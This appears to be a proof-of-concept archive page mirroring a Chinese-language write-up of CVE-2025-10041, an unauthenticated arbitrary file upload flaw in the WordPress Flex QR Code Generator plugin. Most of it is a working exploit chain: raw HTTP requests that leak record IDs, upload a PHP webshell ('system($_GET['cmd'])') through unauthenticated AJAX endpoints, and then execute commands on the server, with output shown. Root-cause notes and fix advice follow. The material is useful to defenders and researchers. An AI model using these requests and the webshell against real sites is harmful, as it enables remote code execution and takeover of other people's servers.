Associated Vulnerability
Title:Flex QR Code Generator <= 1.2.5 - Unauthenticated Arbitrary File Upload (CVE-2025-10041)Description:The Flex QR Code Generator plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in thesave_qr_code_to_db() function in all versions up to, and including, 1.2.5. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.
Readme
# CVE-2025-10041:Flex QR Code Generator 插件任意文件上传漏洞分析
------
## 一、漏洞概述
- **插件名称**:Flex QR Code Generator
- **影响版本**:≤ 1.2.5(所有版本)
- **漏洞类型**:任意文件上传 → 远程代码执行(RCE)
- **利用条件**:无需登录,未授权访问
- **根本原因**:文件上传功能未校验扩展名或 MIME 类型,且接口可被未认证用户调用。
------
## 二、漏洞复现
- **No1 信息泄露+更新钩子实现RCE**:
### 1. 攻击链速览
```
未授权获取 ID → 调用更新接口上传 PHP 文件 → 访问 webshell → RCE
```
### 2. 步骤一:信息泄露获取 ID
```
POST /wp-admin/admin-ajax.php?action=flexqr_fetch_qr_code
Host: 192.168.63.131:8082
Content-Type: application/x-www-form-urlencoded
per_page=50&page=1
```
响应中可获取有效 `id`(如 `9`)和 `logo_url` 路径。
```
{
"success": true,
"data": {
"qrCodes": [{
"id": "9",
"qr_name": null,
"text": "",
"qr_code_url": null,
"qr_image_url": null,
"tracking": "0",
"tracking_details": null,
"qr_data": "{\"qrName\":\"shell\",\"qrDesc\":\"bypass\",\"qrData\":\"https:\/\/evil.com\"}",
"created_at": "2025-10-16 11:16:53",
"logo_url": "\/wp-content\/uploads\/2025\/10\/updat_9.jpg"
},
{
"id": "8",
"qr_name": null,
"text": "https:\/\/example.com",
"qr_code_url": null,
"qr_image_url": null,
"tracking": "0",
"tracking_details": null,
"qr_data": "{\"data\":\"https:\/\/example.com\"}",
"created_at": "2025-10-16 11:01:53",
"logo_url": "\/wp-content\/uploads\/2025\/10\/webshell_8.php"
}], "totalItems": "9"
}
}
```
### 3. 步骤二:更新上传 WebShell
```
POST /wp-admin/admin-ajax.php?action=flexqr_update_qr HTTP/1.1
Host: 192.168.63.131:8082
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Content-Length: 480
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="qrData"
{"data":"https://example.com"}
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="qrId"
9
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="isTrackingEnabled"
false
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="logo"; filename="webshell.php"
Content-Type: application/octet-stream
AiErBuDe
------WebKitFormBoundaryABC123--
```
✅ 响应 `success: true` 表示上传成功。
```
{
"success": true,
"data": {
"message": "QR code updated successfully.",
"id": 9,
"finalUrl": "https:\/\/example.com"
}
}
```
### 4. 步骤三:访问 测试文件
文件路径格式:`{original_name}_{id}.php`
```
GET /wp-content/uploads/2025/10/webshell_9.php HTTP/1.1
Host: 192.168.63.131:8082
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Content-Length: 0
```
服务器返回文件内容
```
HTTP/1.1 200 OK
Date: Thu, 16 Oct 2025 13:42:25 GMT
Server: Apache/2.4.59 (Debian)
X-Powered-By: PHP/8.2.21
Content-Length: 8
Content-Type: text/html; charset=UTF-8
AiErBuDe
```
- **No2 未授权文件上传+实现RCE**:
### 1. 攻击链速览
```
未授权访问接口上传恶意文件 → 访问 webshell → RCE
```
### 2. 步骤一:接口上传恶意文件
```
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 192.168.63.131:8082
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Cookie: wp_nonce=884957; test=1337
Content-Length: 536
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="action"
flexqr_save_qr
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="qrData"
{"qrName":"shell","qrDesc":"bypass","qrData":"https://evil.com"}
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="isTrackingEnabled"
false
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="logo"; filename="AiErBuDe.php"
Content-Type: image/png
<?php system($_GET['cmd']); ?>
------WebKitFormBoundaryABC123--
```
响应中可获取有效 `id`(如 `10`)和 success结果
```
{
"success": true,
"data": {
"message": "QR code saved successfully.",
"id": 10,
"finalUrl": ""
}
}
```
### 3. 步骤三:访问 WEBSHELL执行命令
```
GET /wp-content/uploads/2025/10/AiErBuDe_10.php?cmd=id HTTP/1.1
Host: 192.168.63.131:8082
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Content-Length: 0
```
✅ 服务器返回命令执行结果,RCE 成功。
```
HTTP / 1.1 200 OK Date: Thu,
16 Oct 2025 15 : 52 : 37 GMT Server: Apache / 2.4.59(Debian) X - Powered - By: PHP / 8.2.21 Vary: Accept - Encoding Content - Type: text / html;
charset = UTF - 8 Content - Length: 54
uid = 33(www - data) gid = 33(www - data) groups = 33(www - data)
```
------
## 三、漏洞原理
### 1. 漏洞函数
- 文件:`flex-qr-code-generator/qr-code-generator.php`
- 函数:`save_qr_code_to_db()` 和 `update_qr_code()`
### 2. 关键缺陷
- 仅检查 `$_FILES['logo']['error'] === UPLOAD_ERR_OK`
- **未校验文件扩展名或 MIME 类型**
- 文件名可控:`{original_name}_{id}.ext`,`id` 为自增主键
### 3. 未授权调用
通过 `wp_ajax_nopriv_` 钩子注册,接口可被未登录用户访问:
```
add_action('wp_ajax_nopriv_flexqr_save_qr', [$this, 'save_qr_code_to_db']);
add_action('wp_ajax_nopriv_flexqr_update_qr', [$this, 'update_qr_code']);
```
> `nopriv` 表示“无权限要求”,攻击者无需登录即可调用。
------
## 四、修复建议
| 措施 | 说明 |
| ------------------ | -------------------------------------- |
| ✅ **权限控制** | 移除 `nopriv` 钩子,仅允许管理员调用 |
| ✅ **文件类型校验** | 白名单限制扩展名(如 jpg/png/gif) |
| ✅ **禁止执行 PHP** | 在 `uploads/.htaccess` 中禁止 PHP 执行 |
| ✅ **文件重命名** | 使用随机文件名,避免猜测 |
| ✅ **升级插件** | 关注官方更新,及时升级 |
------
## 免责声明
本文仅用于安全研究与教学目的,禁止未经授权的渗透测试或攻击行为。使用者需遵守相关法律法规。
File Snapshot
[4.0K] /data/pocs/ea83ab41f573880661c228df8f596f8c87f36e90
└── [6.4K] README.md
1 directory, 1 file
Remarks
1. It is advised to access via the original source first.
2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →